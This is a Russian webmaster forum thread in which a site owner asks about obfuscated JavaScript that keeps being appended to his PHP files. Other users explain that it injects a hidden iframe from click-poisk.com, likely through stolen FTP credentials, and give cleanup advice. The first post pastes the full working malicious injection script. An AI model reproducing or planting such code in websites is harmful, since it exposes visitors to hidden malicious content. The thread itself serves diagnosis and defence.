X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Подозрительный скрипт, вопрос
Mike1111
Mike1111
Topic Starter сообщение 25.2.2010, 1:29; Ответить: Mike1111
Сообщение #1


Mix Fight M-1
*****

Группа: Active User
Сообщений: 722
Регистрация: 21.9.2009
Поблагодарили: 385 раз
Репутация:   73  


Доброго времени суток! С недавнего времени на одном из сайтов стал замечать странную вещь - во всех файлах типа: index.php/header.php в самом конце "дописывается"/"появляется" странный код. Все пароли сразу же сменил при первом обнаружении, однако проблема не решилась. Вопрос к знатокам: что это такое и с чем это едят?

Сам код:
<script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF="";wS=9383;nB="nB";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR="tR";kQ=false;gG=20573;wJ=false;zW="";var c=function(){};var y=window;gN="gN";this.yQ="yQ";var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];var eK=new Date();var hI="hI";function jL(){};var z = this;var rN='';var p=false;var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";function mT(){};xH="";this.u=false;var f=document;this.dX="dX";this.hB="hB";var jA=false;var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP="";var tZ=function(){return 'tZ'};this.a="a";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU="fU";jO=false;pW='';var eY=5116;try {rD="rD";vC=false;var fI=function(){};var rU="rU";this.q="q";b="";var bJ='';nE(n,k.oU, yR("display%3A%20none"));function dS(){};rG=63044;this.uK=false;this.iB="iB";nE(n,k.w, this.fK());eU="eU";this.pS='';this.fR="";var qA='';qE="qE";qL="";f[k.xK][k.vM](n);this.xL=54456;this.hW="";var bK=new Array();this.iR="";} catch(g) {this.vB="";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO="cO";var s="s";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ="cJ";this.uR="";var pO='';vH=58151;this.dSF='';var sV="sV";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU="kU";zT="";}, 368);zJ="";var dXZ="dXZ";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ="";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD="";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK="dK";cP.v();function gQ(){};</script>
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Alex_RD
Alex_RD
сообщение 25.2.2010, 11:16; Ответить: Alex_RD
Сообщение #2


Бывалый
****

Группа: User
Сообщений: 299
Регистрация: 25.11.2008
Поблагодарили: 131 раз
Репутация:   34  


Как-то зрительно не нравиться. При заходе на те страницы, в которых присутствует этот код, происходят какие-либо нехорошие действия (редирект, загрузка .pdf и прочих файлов), посмотрите с помощью Firebug'a. Вообще лучше посмотреть скопировать сайт целиком на локальный компьютер, почистить от этого (лучше смотреть во всех .php, .html, .js итп). Удалить с хостинга файлы и скопировать обратно чистые. Ну и стандартная процедура: обновить базы антивируса, желательно проверить сканером еще хотя бы 1го антивируса. Удалить логин и пароль из автозаполнения ftp клиента. Ну и там где это не критично убрать права 777 и поставить 775. Ну и если не помогло, начинаем спрашивать хостера.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
extezy
extezy
сообщение 25.2.2010, 11:27; Ответить: extezy
Сообщение #3


I ♥ UKR@INE!
******

Группа: Active User
Сообщений: 1597
Регистрация: 17.8.2007
Из: Украины
Поблагодарили: 334 раза
Репутация:   63  


Вы не один такой.
Чиатйте:
www.google.ru/support/forum/
forum.searchengines.ru


--------------------
Дизайнер, музыкант, автогонщик, футболист. Люблю Алену, мамин борщ и пиво с шоколадом.
ZOMRO.COM - держу свои проекты на этом хостинге, рекомендую.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
fourfingers
fourfingers
сообщение 25.2.2010, 14:14; Ответить: fourfingers
Сообщение #4


Новичок
*


Группа: User
Сообщений: 29
Регистрация: 29.1.2010
Поблагодарили: 9 раз
Репутация:   3  


Собственно, этот код создаёт скрытый фрейм src="http://click-poisk.com/there/in.cgi?7"

Тот факт, что он у вас появляется автоматически, может говорить о том, что либо у Вас на компьютере вирус, либо пароль от FTP был украден и используется для заражения скриптов.


--------------------
размещаю статьи на: тИЦ 250/PR 5, тИЦ 2200/PR 4, тИЦ 4200/PR 6


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Mike1111
Mike1111
Topic Starter сообщение 25.2.2010, 15:01; Ответить: Mike1111
Сообщение #5


Mix Fight M-1
*****

Группа: Active User
Сообщений: 722
Регистрация: 21.9.2009
Поблагодарили: 385 раз
Репутация:   73  


Большое спасибо за информацию. Еще раз сменил пароль от FTP и решаю вопрос с антивирусной безопасностью компьютера. Хостеру тоже написал, чтобы предоставил логи входов на ftp.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
ChristmasNet
ChristmasNet
сообщение 26.2.2010, 0:01; Ответить: ChristmasNet
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 441
Регистрация: 13.1.2010
Из: Россия, ХМАО
Поблагодарили: 93 раза
Репутация:   16  


не сохраняйте пароли от фтп в фтп-клиентах
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Mike1111
Mike1111
Topic Starter сообщение 26.2.2010, 8:36; Ответить: Mike1111
Сообщение #7


Mix Fight M-1
*****

Группа: Active User
Сообщений: 722
Регистрация: 21.9.2009
Поблагодарили: 385 раз
Репутация:   73  


В том и дело, что не сохраняю. Каждый раз ввожу ручками.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыГде взять скрипт круговой индикатор выполнения
3 slavyn 430 14.12.2017, 22:55
автор: Caterpillar
Открытая тема (нет новых ответов) Ищу скрипт новостного агрегатора
0 Cunningfox 476 27.11.2017, 21:17
автор: Cunningfox
Открытая тема (нет новых ответов) Поиск. Скрипт а-ля pikabu.
1 Упс 764 20.11.2017, 8:19
автор: codename65
Открытая тема (нет новых ответов) Посоветуйте скрипт доски объявлений
4 bbkd 835 11.11.2017, 11:59
автор: bbkd
Открытая тема (нет новых ответов) ищу скрипт для сайта досуга
8 carloswm 1398 21.10.2017, 21:54
автор: Seodjo


 



RSS Текстовая версия Сейчас: 16.12.2017, 6:19
Дизайн